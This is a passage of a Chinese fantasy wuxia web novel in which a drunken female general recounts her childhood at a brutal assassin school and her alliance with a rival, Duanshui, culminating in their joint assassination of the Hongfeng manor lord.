“你确定里面没人?”孟梨食收回视线,落在小魂身上,“没人的话我们直接推门进去,刚好巡逻的人刚走。”
小魂点头,率先冲了出去,推门而入,后面两人闪身进去。
江余客反手将门轻轻掩上,留出一条缝观察外面,确定没人发现后松了口气,将门完全合紧。
“哦,这么专业?”孟梨食抱臂看他。
这话说的,好像我专门干这种扒门的事。
江余客不理她,打量这间卧房。
还没等他细看,前面传来一道碎裂声。
三人猛地僵住,彼此看了一眼,小心地靠近声音源头。
孟梨食鼻翼微动,她闻到一股浓烈的酒气,而且这香气,好酒!
她眼睛顿时亮了,步子不由的加快,直接撩开面前的帘子。
“诶,你……”
江余客吓了一跳,右手紧紧握住轩辕剑,一个闪身跟进。
内屋的情景在孟梨食意料之中,满桌东倒西歪地的酒壶,清澈的酒液顺着壶口流淌在桌上,接着滴落在地。
狼藉的桌上勉强留出块空处,那里趴着个人,头发凌乱,衣衫皱成一团。
这人手里抓着只酒壶,整个人仿佛醉死在这。
孟梨食一屁股坐在桌对面,捞了壶酒又抓了只干净的碗,自顾自开始品酒。
“真是好酒!”她赞叹道。
小魂和江余客脸色都白了,小魂声音发颤道:“你这样……不好吧。”
孟梨食看了它一眼,“怕什么,等她喝了水,就不会需要这些酒了。”
说完,她看向一直趴着的人,碗中酒液轻晃,“一碗忘情水,解忧又忘愁,限时半价哦。”
她说完,对面的人终于动了,像一尊石雕簌簌往下掉落石灰,露出里面被封印的人。
对方直起身,眼眶血红,脸色却苍白的让人心惊。
“解忧忘愁?哈哈哈!比酒管用吗?”
江余客这才确定,这是一位女将军,即使对方有些神志不清,但无意识溢出来的杀气还是让他心中响起警铃,握着轩辕剑的手更紧了。
“酒又被称作解忧水,但效果,怎么能跟忘情水比。”孟梨食看向对方。
她为了改造孟婆汤,可是研究了古今各种酒,也曾大醉过,断片过,其他效果,她就没感受到了。
哦,对了,她从来就没有什么忧,什么愁,也一直没有尝过忘情水的滋味。
12. 将军与将军(2)
“卖水人?我听过你的名号。”将军疲惫地掀开眼帘,每一句话都说得极其费力。
“那我就不多说了,一句话,买不买水?”
孟梨食问完,见对方垂下眼帘,犹豫了。
她不解地看着对方,对方神态变化逐渐与魔尊的重合,这让她更费解了。
她一直认为,若是感到痛苦,喝一碗忘情水,忘掉不就好了吗?这有什么好犹豫的?
对方沉默着,慢慢的,两行清泪从眼眶中流下。
“忘掉吗?”对方哽咽着,抬手紧紧抓住胸口,好像那颗心就是让她痛苦的源头,她要把它抓出来。
孟梨食食指轻敲桌面,“也许,你可以先告诉我发生了什么。”
对方抬起头,泪眼婆娑地看着对方,又缓缓低下头。
那是一段很沉重的回忆,但只有她自己知道。
那段经历总会在她睡着时,喝醉时闯进脑子里,那个人的每个动作,每个神态,每句话都无时无刻不在刺痛她的心,让她痛不欲生。
明明很痛苦,明明日日夜夜饮酒买醉,就为了忘记那个人,可在清醒时,还是忍不住回忆那个人的一切。
她很疲惫,她的精神时不时就要崩溃,她确实需要找个人诉说一下。
“我叫俞闻,但更多时候,别人叫我龙雀。
“五岁那年,父亲将我送进隐机楼。
“隐机楼是天下最强悍且最神秘的隐秘组织,传闻,从里面走出来的人无不是江湖榜上赫赫有名的存在……”
“闻儿,此次前往隐机楼,为的就是将你培养成俞国未来的神将,以后保家卫国,守卫疆土,知道吗?”
“是,父亲!”五岁的俞闻一脸严肃道。
“到了那里,不能提你的名字,你来自哪个国家,关于你的一切都不能提,知道吗?”
“是!”
“在那里,不要相信任何人,每个人都是你的敌人,无论做什么,刀剑一定不要离手。”
“是!”俞闻看着自己父亲,像一位军士回答将军的话。
“那是人间地狱,无论遇见什么磨难,都要咬牙挺过来。”
父亲将手放在她肩膀上,神情严肃又带着威严,“十年后,要么我见到你,要么听到你死去的消息。”
叮嘱完,俞闻坐上一辆马车,没有再看父亲一眼,就这么被带着驶入黑夜,驶向被称为人间地狱的地方。
她不害怕困难,也不害怕死,就算是地狱她也要去,她立志成为俞国大将军,为保卫国家战死沙场。
马车在发黑的树林间穿梭,路途并不平坦。
俞闻沉默地坐着,大腿上放着佩剑,手指微动,摸到衣袖里的匕首。
她抬起眼,目光坚定,如一头走出巢穴的幼虎。
马车穿进一层光膜,驶进未知领域。
顿时,一股寒气从四面八方袭来,混杂着极重的血腥气,极远处隐隐传来惨叫声。
到了。俞闻心道。
她与其他几十个孩子站在一处,目光如剑地望着前方,看见一位中年男人大踏步走来。
对方脸上带着墨色面具,两根獠牙泛着寒光,透出的视线让人不敢直视。
“大家可以看看四周的人。”男人声音仿佛带着寒气,每个字都让这些五六岁的孩子忍不住战栗,低下头来。
俞闻知道对方在故意释放威压,在她有记忆以来,父亲便经常这样对她,也因此,她的抗压能力比一般人强。
她倔强地抬起头,微皱着眉看向对方,但握着剑柄的手却在微微颤抖。
除她外,还有几个孩子没低头。
男人并不在意这些虎仔子的怒目,继续道:
“周围的人并不是你们的伙伴,而是你们爬出隐机楼的垫脚石!”
“每一年,都会有人死去,死在训练中,或者死在你手中。
“最好的情况,就是十年后,你们中能有一个人离开这里。”
俞闻握紧剑,那个人,必须是自己。
“传闻中的隐机楼真这么残忍?”江余客缩着脖子问,把一群五六岁的孩子送去那里自相残杀,着实骇人听闻。
“那你们的日常训练……”
将军轻笑一声,抓住酒壶猛灌一口,大量酒液顺着嘴角流淌在胸口。
“每天都有人没命,”她声音发哑,“也有人受不了想要离开,却死在路上的饿狼嘴里,被撕成了碎片。”
小魂颤了颤,“难怪叫人间地狱,这也太恐怖了!”
“恐怖吗?还好吧。”将军自嘲一笑,“都不需要我动手,对手便死了,多好。”
“所以你是唯一一个活下来的人?”孟梨食问。
她刚问完,见对方浑身一颤,手里的酒壶砰的砸落在地。
“不……”对方捂着头,“还有一个人……他……”
“他?”孟梨食目光紧逼,这个“他”应该就是对方想忘记的对象。
“对,他,他……”将军突然站起身,椅子被她绊倒,发出沉闷声响。
她双手抱头,发疯般大叫,双目通红,“他死了!他活下来了,但又死了!是被我杀死的!”
小魂下意识后退数米,江余客握着剑同时向前,而孟梨食,依旧坐在原地,指腹在碗沿上转着圈。
“啊啊啊!”
将军癫狂着后退,迷茫地看着双手,喃喃自语:
“这不就是我要追寻的吗?成为保卫国家的大将军……
“……可为什么,心这么痛呢?”
孟梨食看了小魂一眼,后者点头,咻地飘到将军头顶,点点红色粉末被撒下,仿佛室内起了层薄薄红雾。
肉眼可见的,对方渐渐冷静下来,急促的呼吸变得平缓。
她踉跄着,迷茫地看着四周,视线在三位不速之客上扫了又扫,“你们是谁?”
孟梨食脸上罕见地露出惊讶,她扭头看向小魂,目光带着逼视。
小魂猛地一跳,“我拿错了,这是彼岸花粉!我想用静心粉来着。”
“……还不快解了!”
“彼岸花粉?”江余客闻言连退数步,脸上带着恐慌,“好恐怖,可不能碰到。”
“这有什么恐怖的,不就彼岸花粉吗?”
“我不想忘记,”江余客直摇头,“无论我经历什么,我都不想忘记。”
孟梨食发出一声轻嗤,而另一边,小魂已经将彼岸花粉效果解了,重新撒下静心粉。
江余客捏着下巴,“既然彼岸花粉能解
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,那忘情水、孟婆汤,是不是也能解?”
“不能。”孟梨食干脆利落道。
不等对方问为什么,她道:“彼岸花粉只有彼岸花一种原料,万物相生相克,自然有东西能解。
“但忘情水和孟婆汤,原料不只彼岸花,它们制作复杂,各种材料相互影响,目前还没有制作出解药。”
她顿了顿,语气缓了下来,“不过,听说橙色彼岸花可以解。但橙色彼岸花千朵里不见一朵,只有有缘之人才能碰见。”
“所以,”她总结道,“这是无解的。”
小魂难得赞叹地举手,“我在彼岸花圃工作数年,从未见过一朵橙色彼岸花。”
他们聊着,一声地板摩擦声响起,扭头一看,将军已经再次冷静下来,将摔倒的椅子扶起,坐了下来。
“可以继续了吗?”孟梨食看向对方。
对方缓缓点头,开口道:“他叫断水,是唯一能与我势均力敌的人,我们都将对方视为最终敌人,也都想在对方变得更强大前将对方杀死。”
“今日的挑战赛,我依旧挑战你!”
俞闻,或者说龙雀,指着对面的男孩,气势汹汹道。
“你上次不是赢过我了吗?”对方说完扭头。
“可你上上次赢过我了!”龙雀跑到对方面前,抬着下巴问:
“你是不是怕了?”
“输的人要去爬刀山,我傻了要接受你的挑战。”对方转身走开。
断水抱臂,视线在其他人脸上扫过,以他俩第一第二的排名,随便找个人都能赢,何必找彼此呢。
但当他视线看过去,被看的人连忙扭过头转过身,很显然,没人傻了去挑战第一第二名。
他转了一圈,依旧没人敢回视他,除了一道灼热的视线烫着他的背。
按规定,排名高的挑战排名低的,必须要排名低的同意才行,但排名低的挑战排名高的,就不需要对方同意。
所以,身为第二名的他,好像只能去挑战第一名了。
他无奈地转过身,对上对方得逞的笑容。
对方笑得跟狐狸似的。
他视线落在对方大腿上,即使穿着深色衣服,他也能看出那处有鲜血浸透的痕迹,看起来这伤还很新,应该就是上上次对方爬刀山受的。
但他自己何曾没有伤呢?他上次爬刀山可是直接滚了下来,后背撞在一块岩石上才没死,但也受了不小内伤。
两人间每一场比赛也算是一个热点,除开两人高强的武力,惊人的招式,彼此间的势均力敌也算是一大看点。
不管什么试炼或是任务,两人总是一人赢一场,让其他人都忍不住猜测下一次谁赢。
两人眼中已没了其他人,只燃烧着想打败对方的烈焰。
但这一场比赛出乎所有人的意料,两人从白天打到晚上,打得昏天黑地,打得彼此满身伤痕,硬是没有谁倒下。
他们现在受的伤比去爬刀山还要恐怖。
最后是楼主出场制住了他们,而彼时两人早已没了意识,只是凭借在隐机楼多年厮杀得出的身体反应对抗。
在这个地狱般的地方,即使是睡觉,在有人靠近时,身体也会比脑子先反应过来,无论对方是谁,先拔剑刺去。
13. 将军与将军(3)
龙雀眉头微皱,全身的疼痛如水淹般袭来,她咻地睁开眼,对上一双深如暗潭的眼睛。
“楼主!”
她吓了一跳,下意识想起身,结果刚有动作,水淹般的疼痛化作巨浪,直接将她掀翻在床。
楼主的视线落在她脸上,接着移到一边。
她顺着对方视线看过去,这才发现身边还躺着一人,而对方也正将视线送过来。
两人视线在空中骤然一撞,都有些微愕。
“呵呵!”
楼主发出一道沉闷的笑声,“就算是醒来,你们也要争个先后吗?”
两人闻声同时扭过头,像看见了什么不干净的东西。
“没有哪一年,能有两人走出隐机楼,但例外就要发生了。”
楼主眼中含笑,但那笑容莫名让两人胆寒。
直到现在,再回忆那个笑容,俞闻依旧忍不住战栗。
“很久后我才明白,对方笑中的含义。
“我不知道,这算不算一件幸事。”
楼主走了,龙雀挣扎着爬起身,正忍受着全身疼痛,却听见身旁人惊讶道:
“呀,你喷血了!”
龙雀低头一看,腹部浅浅包扎的伤口因为她的动作崩开,鲜血直流。
一股晕眩再次涌上,她身体晃了晃,咬牙撑住,恨恨地看了对方一眼。
其实对方并没比她好多少,腹部的白布直缠到胸口,一大滩红色突兀地出现。
手臂上的伤口更是难以细数,亏对方顶着鼻青脸肿的脸也能笑得出来。
“此次未分出胜负,我们下次再战。”龙雀恶狠狠道,接着撑着摇摇晃晃的身体离开房间。
断水盯着对方后背,直到对方拐过弯没了影才缓缓收回视线。
勉强休养几日,龙雀便再次握起剑。
她不能休息太久,休息太久身体会遗忘,遗忘周围暗伏的危机。
每时每刻,她都要打起十二分精神。
正挥着剑,一个人探头探脑进来。
龙雀手腕一转,剑身瞬间脱手,咻的一下插入石墙,发出嗡鸣。
那人猛的一顿,望着离脖颈不足一寸的利剑,咽了咽口水。
龙雀身体未动,眼睛却死死盯着对方,带着明显的警告之意。
“……冷静,”对方抬起双手,扯出一抹微笑,“也许我们可以聊聊。”
龙雀不知道自己和对方有什么好聊的,两个生死敌人,能聊什么?莫不是对方祈求自己放他一马?
这样的话她绝对瞧不起对方。
她轻哼一声扭过头,抬脚欲走,身后那人连忙叫道:
“我们可以结盟!”
结盟?
龙雀惊讶地顿住脚,等着对方继续说。
断水看出一丝希望,忙道:
“还记得楼主说的吗?也许有个例外,一年中能有两人走出隐机楼。”
龙雀自然记得,但那又如何,无论一年中能有几人走出去,总归有一个她。
她不在乎有多少人死在这,自然不在乎有多少人活着走出去。
“我们俩人太过惹眼,日后给出的历练定然万分艰难,不如我们结盟。”
龙雀转身看着对方,对方不过十来岁,稚嫩得很,说话做事有时候极其老成,有时候又天真得不像话。
她有时候会想,这地狱般的地方,会泯灭人性,包括这群孩子的童性。
哦,她也是孩子。
“你发什么呆呢?”对方抱着臂,小心地往前移了一步,见对方没反应,又移了一步。
龙雀猛的射去一记眼刀,对方瞬间顿住。
“你怎么就能保证楼主会让我们接同一个历练?”
意思是,他怎么就确定,楼主嘴里的两个人,就是他和自己。
“我们两个最厉害啊!”对方理所当然地张开手,“等出了隐机楼,我们就会是江湖上最厉害的存在。”
“哪一个死在这,都是这隐机楼,这江湖,甚至这天下的莫大损失!”
“真会给自己脸上贴金。”龙雀轻哼一声,又问:
“我凭什么相信你?万一你在我背后捅刀子呢?”
对方脸上闪过一抹惊讶,满脸不可置信道:
“我们好歹当了五年死敌,我什么德行你还不清楚?我是那样的人吗?”
龙雀仔细一想,对方好像真不是。
“多个朋友总比多个敌人好。”对方循循善诱。
“那……就先试试。”
对方嘴角上扬,信誓旦旦道:
“五年后,江湖上就会掀起血雨腥风!我们会是最厉害的存在!”
对方高喊着,完全沉浸在自己的幻想中。
“五年后……”龙雀望着对方欢快离去的背影,思绪飘飞。
五年后,她就会离开这间地狱,进入军营,奔赴战场。
江湖上的豪气,她没有,她只有一身杀气和死气,从地狱带出来的。
“自那后,断水便会经常来找我,我们一起训练,一起吃饭,一起接任务。
“开始我会怀疑对方的动机,一直提防他,提防了两年,也没发现什么。”
“提防了两年,这么久……”江余客叹了一声。
“在那种地方待久了,别说信任,没发疯就算好的。”俞闻淡淡道。
“别打断。”孟梨食看了江余客一眼,转头看向桌对面的人:
“然后呢?”
“如断水所说,我们两个的结盟确实让这五年过得比较轻松,即使发布的任务比以往困难得多,但有彼此在,也会好很多。
“受伤后,彼此为对方包扎伤口,竟能感受到一些关心。”她轻笑一声。
“我都说了由我去刺杀,你为什么要去?”龙雀喘着粗气,看着对方狰狞的伤口,目光微颤,却是愤怒更深。
“我的剑术能压制他……”断水还没说完,龙雀大骂道:
“放屁!”
她狠狠捏着拳头,身体气到发颤,“说好了这次任务听我指挥,你再这样,我先杀了你!”
断水看着对方,对方那愤怒的样子却对他没有丝毫威慑力,反倒像只发飙的猫。
他叹了口气,“这次是我的错,之后我一定听你指挥。”
龙雀咬牙切齿,她猛哼一声,奋力扔出一只白瓷瓶,转身就走。
“你死了也没人在意。”
断水握着白瓷瓶,打开瓶口,一股浓烈的药香扑鼻而来。
他低笑一声,“你不就挺在
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意吗?”
他叹了口气,视线从白瓷瓶上移开,望着窗外黑得深沉的树林,喃喃道:“还有三年……”
晚上,断水拖着重伤的身体,找到在小山后的人。
“还生气呢?”
他笑着靠近对方坐下。
“我没有生气。”龙雀低垂着脑袋,视线落在脚边的杂草上。
“我只是不理解,你为什么要这么做。”
“我们不是盟友吗?盟友就该这样做。”断水笑道。
……
“我五岁便被送进隐机楼,之前活的那五年,从未有过朋友,父母的陪伴什么的,也是没有……”
俞闻看着孟梨食,缓缓说着:“所以,那时候的我认为,盟友就是世间上最重要的关系,因为我想不出还有什么关系可以让一个人替另一个人直面死亡。”
她痛苦地闭上眼,继续回忆。
……
“我们可以面不改色杀掉任何人,但对于彼此,我们约定,”断水看向她,神情专注,“要互相保护,永远永远,怎么样?”
龙雀愣在原地,好半晌说不出话来。
“愣着干嘛,快和我击掌。”对方挥着手,催促道。
好像击个掌这事便定下来,神仙来了也无法改变似的。
龙雀眼中的断水又像个孩子了,对,对方确实是个孩子,他们今年十二岁了,还有三年就会离开这。
“好。”
龙雀抬手,用力打向对方手掌,寂静夜里,突然响起清脆的拍掌声。
断水双臂搭在脑后,靠着草地躺下,漫天星辰在头顶静静闪烁。
“等离开那天,我们就说出自己的真名吧。”他说。
龙雀,或者说俞闻,这才想起,两人连对方姓甚名谁,何方人士都不知道,不过……
没有关系,日后他们会知道的。
她跟着躺了下来,夜间的风吹得清爽,她思绪纷飞,想到什么,眉头微皱。
七年过去,她也逐渐忘记真正的自己,或者说,哪一个才是真正的自己?
是活了五年的俞闻吗?还是活了七年的龙雀?
是那个拥有父母却不怎么见面的俞闻,还是只有一个盟友会为你拼命的龙雀?
父母的样子早已经模糊,她有许多年不去想这些了,一是没时间没精力,二是没必要。
真没必要,她只要记得活着走出隐机楼,成为保卫国家的大将军就够了……顺便,再保护一下身边这个人吧。
她以后会更厉害的,保护他也只是顺手的事。
她想着,竟开始期待三年后离开那天。
她笑着扭头看向身旁的人,却发现对方已经睡着……
想来那是一段还算美好的回忆,看着桌对面人露出淡淡微笑,孟梨食想到。
但美好之后,紧跟而来的便是悲伤。
“你们真的成功出去了吗?”江余客担心地问,他真的害怕转折出现在这里,害怕在即将踏出地狱之门时发生异变。
“出去了……”
还没等江余客松了口气,俞闻发出一声惨笑,再次陷入癫狂,“哈哈哈!出去了,但这一切都是个阴谋!”
“我早该发现的,可好像,从一开始,命运便已经定下。”
14. 将军与将军(4)
又是三年。
“最后一项考验,你们两个一起去。”楼主站在两人面前,十年过去,他的声音依旧深沉,只是携带的寒气更重了。
“成功完成任务,你们便能离开这。”
他话一出,两人眼中均闪过一抹喜悦,余光不由地看向对方。
楼主将他们的神态尽收眼底,嘴角微微翘起一个弧度,“任务,便是杀死江湖排行榜第三的红枫山庄庄主,一个月内我要看见他脑袋。”
龙雀愣住了,杀死江湖排行榜第三……
断水卧房内。
龙雀拧眉翻开一张地图,嘴唇紧抿,指尖在上面轻画。
“不愧是最后一个考验,真有挑战性。”断水走了过来,将刚拿来的两份资料的一份扔在木桌上,“不过咱俩出马,什么考验都不在话下。”
龙雀没急着去翻开资料,而是看着对方,“没想到最后一场考验由我们两个一起去,这是从来没有过的。”
她神色露出些担忧。
“可前几次的考验不也是我们一起去完成的吗?完成的很好啊。”断水耸耸肩,翻开手中的资料。
龙雀依旧拧着眉,“从一开始我就没想明白,难道只是因为我们两个实力都不错,楼主就想把我们两个都送出隐机楼?”
断水轻“唔”一声,抬起头,“我也想不明白,但他总不能在这场考验上动手脚,比起欺负我们两个新人,他更想要那位红枫山庄庄主的人头。”
龙雀呼了口气,这样想下去也想不明白,还是把精力花在任务上。
她径直将断水手中的资料抽出,细细翻阅。
断水愣了一下,无奈地笑笑,拿起另一份资料。
“红枫山庄庄主武力高强,他那神拳八打可以直接让我们两个变成肉泥。”龙雀冷声道,“况且,其麾下的红枫山庄更是一个专门培养死士的组织,此次任务……难。”
“难得从你嘴里听到一个‘难’字,”断水叹了口气,“虽难,但也在意料之内,毕竟成功了就能离开这,自然要难些。”
两人都有同样的想法,无论多难,都必须成功。
两人将各处搜集来的相关资料堆在桌上,断水又点亮一盏油灯放过来。
“行刺不能在红枫山庄内,那里可以称为另一个地狱,四处是埋伏。”
断水点头,听对方继续道:“但也不能在他外出时,他行事谨慎,凡外出必会派大量暗卫跟随。”
“所以呢?”
“所以,可以在他去红枫小院时动手。”龙雀眼中划过一抹寒光。
“红枫小院住着他儿子,他唯一的儿子,此处防备不会低。”断水眼中流露不解。
龙雀翘起嘴角,“正如你所说,这住着他唯一的儿子,他最宝贝的儿子,那么,最多的暗卫死士应该用来保护他儿子,但我们的任务又不是他儿子。”
“而且,”龙雀直起身,“谁能想到江湖排行第三强者的儿子,红枫山庄少主,竟是个手无缚鸡之力的纨绔?”
断水懂了,他猛地拍掌,激动道:“我们先假装目标是他儿子,等他把身边的人调去保护他儿子的时候,我们再直接对他出手!”
龙雀靠着红木桌,低头思忖,“不过,即使我们两个一起面对他也难以保证完成任务,别忘了,凭他自身实力,压根不需要什么暗卫在旁。”
“他那神拳八打虽厉害,但我们也不会弱。”断水朝空中挥拳踢腿,扬着下巴道:
“等我们踏入江湖,他必得从第三的位置掉下来,到时候你当第一,我做第二。”
龙雀被对方那骄傲劲逗得轻笑起来,眼睛弯成了月牙。
断水看着对方,有一瞬间晃神,脑子还没反应过来,嘴巴先动:
“你长大了,变得还挺漂亮的。”
笑声骤停,龙雀看着对方,脸色不善。
断水丝毫没意识到对方的不悦,毕竟对方经常露出这种“你再多说一句我杀了你”的表情。
他沉浸在自己的发现中,继续道:“时间真快啊,咱俩第一次见面的时候你还是个小孩子,才这么高。”
他说着用右手在大腿那比划两下,“脸上都还有肉肉,眼睛大大的,总是露出不高兴的表情,好像谁抢了你糖一样。”
他越回忆越兴奋,“一眨眼你都长这么大了,真像那句话说的,‘女大十八变’,越变越漂亮,哈哈哈!”
龙雀半天没回话,垂下的手发出咔嚓声,她嘴唇微动:“断水。”
“咋了?”
断水刚回话,猛地见两道寒光朝自己刺来,他下意识侧过身,寒镖几乎擦着他侧脸而过,咻地一声狠狠刺进墙内。
他心脏陡然一紧,还没缓一口气,余光忽的瞟见一道残影,下一刻,一股巨力砸在他腰背。
砰!
他一下子没反应过来,整个人被这股力打飞出去,撞上靠着窗户的小桌。
“咳咳咳——”
他剧烈咳嗽,全身疼得他两眼发黑。
“我错了我错了,”断水急忙认错,“我再也不夸你漂亮了。”
“你说什么?”龙雀提剑走来。
断水掀开眼帘,见状忙改口:“不不不,你最漂亮了!”
龙雀一巴掌掐住他脖子,耳垂上的粉红隐入昏暗中。
断水咽了咽口水,视线不由的落在对方脸上,口随心动:“你最漂亮了。”
龙雀猛地收紧手上力度,身下之人再次剧烈咳嗽起来。
断水落在对方脸上的视线随着咳嗽晃动,一下子落在对方细长的脖颈上,一下子又落在对方微微伏起的胸脯上……
龙雀眼睛猛地睁大,“你脸红什么?”
“我,我呼吸不上气……咳咳!”断水慌张扭过头。
龙雀手上力度又收了些,她性格强势,做事讲究以牙还牙,刚才被对方这么调侃,她得调侃回去。
她左手拿着剑柄,剑鞘轻抬身下人下巴,眯了眯眼道:
“我看等你进入江湖,江湖第二还没当上,先成了江湖美男榜榜首。”
断水眨着眼睛,意外道:“你也觉得我英俊?”
龙雀:“……”
她松开手,连连后退,某些方面她确实比不上对方。
“不闹了,赶紧滚过来制定计划。”龙雀露出个落荒而逃的背影,强撑着厉声道。
“哦。”断水边揉着后腰边挪步过来,视线极隐秘地将对方全身扫了扫。
他们五岁相遇,彼此扶持着走了十年,陪伴了对方成长,也见证了对方变强,未来,他们还会在一起,一起登上最高点。
“你再走神!我刚才说的你记住了没?”龙雀瞧见对方那样就来气,一脚踹在对方屁股上。
“记住了记住了!”断水捂着屁股躲开。
于是四天后的晚上。
两人鬼鬼祟祟猫在院外,全身的黑衣将他们与黑暗融为一体。
龙雀眯着眼睛,望着坐在庭院内辉煌灯火中的人,等待着时机。
庭院内,红枫山庄庄主坐在主位上,对着站在一旁的年轻男子说了些什么。
“他们在说什么?”龙雀只能看见两人嘴唇微动,神色有些不对劲,具体说了什么隔得太远,一点声音都听不到。
“诶,我知道。”断水说着睁大眼睛,视线落在两人的嘴巴上
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,跟着模仿道:
“儿啊,碧月山庄庄主的女儿为爹看了,长得倾国倾城,和你十分相配啊!”
断水接着换了个声音回复道:“爹,我还没玩够呢,成亲多没意思。”
再接着,他脸色猛地一沉,“混账,整日就知道游手好闲!那碧月山庄庄主女儿知书达理,待人温婉……”
“你不就是想和碧月山庄结盟吗?我……”
龙雀看着突然安静的人,奇怪道:“你怎么不说了?”
断水恍然道:“原来结盟要成亲啊,那咱们什么时候成亲?”
他们可是五年前就结盟了。
龙雀脸色咻地一红,一巴掌拍在对方脑袋上,“给我继续看他们说了什么!”
断水又传达几句,来来回回就是爹劝儿子成亲,儿子没玩够,爹又拿山庄重任压儿子。
龙雀赞叹道:“会读唇语就算了,你这眼睛,这么远都能看这么清楚?”
干刺客这行,视力自然要好,龙雀自认自己看得够远了,没想到对方还能看得更远些。
断水得意道:“那当然,听说我家的人都有一双鹰眼,看得比常人远多了。”
龙雀微微一愣,旋即有些心绞,她注意到对方话中的“听说”二字,家人的消息竟还要听说……
不过,她连“听说”的家人信息都没有,五岁前的记忆也早就模糊得不成样子。
“好,目标要离开了,等他再走远些我们就行动。”断水压低声音,打断她的思绪。
龙雀用力点头,“按计划,我直面他儿子,你在外面接应我,等把暗卫吸引过来我们就去围杀目标。”
两人互一点头,旋即各自消失在黑暗中。
红枫小院内,望着父亲离去的背影,红枫山庄少主叹了口气,一下子也没了喝酒的兴致。
“碧月山庄……”他摸着下巴,“那就让我去看看,这个碧月山庄庄主之女,到底何等国色天香。”
他正出着神,一个人影忽的出现在身前,横剑一扫,将飞来的暗器打落。
少主惊得脸色都白了,“枫,怎么回事?”
“来人,护少主离开!”
被叫作枫的暗卫大喊,下一刻,更多道暗器破风而来,在明亮的各种烛光下泛着骇人寒光。
枫挡在少主身前,手中的剑被挥出残影。
龙雀看着被层层保护的少主,心想动静还不够大。
她用力甩出一个烟球,烟球瞬间爆开,释放出浓重的迷烟。
她拔剑跳了出去,直与那位叫作枫的暗卫迎面相斗。
一片铿锵声中,几道寒光剑影在土黄色迷烟中闪过。
断水听着越来越多逼近的脚步声,一记飞刀将挂在红木柱旁的灯笼打飞,里面的烛火沾上纱幔,加上龙雀在烟球里加的猛火油,火势很快就起来了。
这么大的动静,不怕没有更多人赶过来。
他又配合着杀了几个赶来的暗卫,觉得时间差不多,一个轻功闪进黑暗。
龙雀手腕一转,佩剑从右手抛到左手,接着侧身一劈,一剑刺向对方。
对方急忙躲避,手臂依旧被划出一道狰狞血痕。
龙雀心道,红枫山庄少主身边的暗卫实力果然不低,不能再浪费时间,一击毙命。
她正要有动作,那边被一层层人护着的少主扯着嗓子喊:
“枫,撤!你们还不给我冲上去,杀了那刺客!”
叫枫的刺客紧忙后退,同时更多暗卫朝龙雀蜂拥而来。
看来对方的性命她是取不了了,不能坏了今晚的计划。
龙雀一记横扫逼开来人,转身投入黑暗。
15. 将军与将军(5)
“都去保护少主!”
男人话音刚落,后院各处的阴影轻微晃动,空气的流速微微加快,夜间的风将红枫树的枝叶吹得沙沙作响。
在一般人看不见的地方,无数暗卫与死士在阴影中闪过。
男人眉头紧锁,拔脚就要往回走,突然,他身体一顿,整个人站在原处。
“调虎离山?”他余光看向两边,“没想到会有人将算盘打在我头上。”
没有回话,只有两记寒光极速逼近,以惊人之势刺向他。
红枫山庄庄主一个后仰,向后翻了一圈避开攻击,接着双臂运拳,威势爆开,将准备再次逼近的两人掀飞出去。
庄主缓缓收回手,望着落在面前几米处的两人,不解道:
“我自知自己仇家甚多,但不知是哪位仇家如此小瞧我,竟派两个孩子前来刺杀。”
依旧没有回答,有的只是越发密集与强悍的攻势。
男人终于重视起来,这两个刺客年纪不大,本事倒是不小,但依然不足为惧。
几十招后,龙雀再次飞快后退,避开对方狠利一击。
她微喘着气,视线扫过周围,大脑快速思索应对之策。
突然,对方冲了过来,手中的名剑挥斩出恐怖剑气,在她闪避之前,断水抬剑强硬地撞了上去。
铿锵一声,两把剑抵在一起,恍若两道交叉的银色十字,四周风涌气旋,威势爆发!
龙雀一个闪身逼在庄主身后,一剑挥斩!
砰!
庄主手臂猛地用力,直接将断水轰飞出去,接着半转过身,抬剑抵住龙雀刺来的剑。
龙雀悬空在空中,比力气,她并不如断水,因此坚持的时间更短,再次被轰飞出去。
身体腾空两秒,接着落入一个怀抱。
她极快从怀抱中落地,手臂还被断水扶着。
她强撑着,嘴唇紧抿,一点红色从嘴角溢出。
庄主摇摇头,叹息道:“你们天赋不错,如此年纪便能有如此实力,实属难得。”
龙雀握紧剑,眼神发狠,她正要冲上去,手臂却感受到一股拉扯。
她没回头,清晰地感受到掌心触摸到某样东西,冰冷、锋利。
她自然知道这是什么,她缓缓站起身,无声地同意了。
“说吧,你们是谁派来的?”庄主往前逼近。
龙雀剑身一抬,再次冲了上去,与对方纠战一起。断水同时而动,始终跟着她,掩护她。
他将各种招数,身上带的所有暗器都使了出来,伤到对方倒是没有,不过成功惹怒了对方。
而惹怒对方的后果就是,对方使出了威名江湖的神拳八打。
“我这招式,想来你们不会不知道,只要我把八打都使出,就算是江湖榜第一,也只有死路一条,更何况你们?”
“第一打,崩山开路。”
眼见着拳头就要砸来,龙雀猛地被一股力拉开,她眼睁睁看着断水替她生硬地接下这一招。
“噗!”
断水身体一晃,将龙雀往身后一拉,一个扫腿而出。
“第二打,钻心透骨。”
龙雀咬牙大吼:“滚!”
她这声滚是对断水说的,她手腕用力,反将对方拉了回来,以拳碰拳,接下对方一击。
断水目眦欲裂,“这招我来抗!”
第三打,裹风雷动。
断水将已经跃到半空的龙雀拉进怀里,接着扔到一旁,接着这无法避开的一击。
第四打,龙雀抗住了。
第五打、第六打、第七打……
两人不服输似的,一人主动去抗一下,生怕对方比自己多抗一击,好像又回到当年做什么都要比较的时候。
神拳八打,就算是江湖第一全挨了也活不了,但龙雀和断水两人一人挨了四打,落了个半死,勉强有气的结果。
当生命流淌殆尽,在前一刻,人会爆发出难以想象的威力。
“啊!”
两人大吼,一个飞踢跃至空中,在对方做出防御之势时猛地扭转腰身,向一旁落下。
同时,一道银色近乎透明丝线被两人握住,丝线绷紧,嵌入庄主脖颈,如刀切入豆腐般轻松。
时间仿佛被按下暂停键,月上中天,银辉撒下,夜间的风吹动三人发丝。
下一秒,什么东西掉落下来,发出一声闷响。
“噗!”
龙雀猛地单膝跪地,她艰难地扭头,看着地上的头颅,压在身上十年的重量一下子被撤走。
她对着皎洁的月亮,露出一抹带血的微笑。
两人互相扶持着回到隐机楼,再后来,她没了意识,她受的伤太重,相当于在阎王爷那里做了客,还被留下来喝茶。
不过她把茶杯摔了,从地狱里逃了回来。
无论是真正的地狱,还是被称作人间地狱的隐机楼。
她终于醒了过来,仆人大喊着跑了出去,接着,一个男人走了进来。
“俞闻,做的不错,没让我失望。”对方看着她,坚毅的脸上露出一抹难看的微笑。
俞闻,那是谁?
龙雀盯着对方眼睛,半晌才呼出一口浊气,问:“这里是哪?”
男人回道:“这里是俞国将军府,你成功离开了隐机楼。”
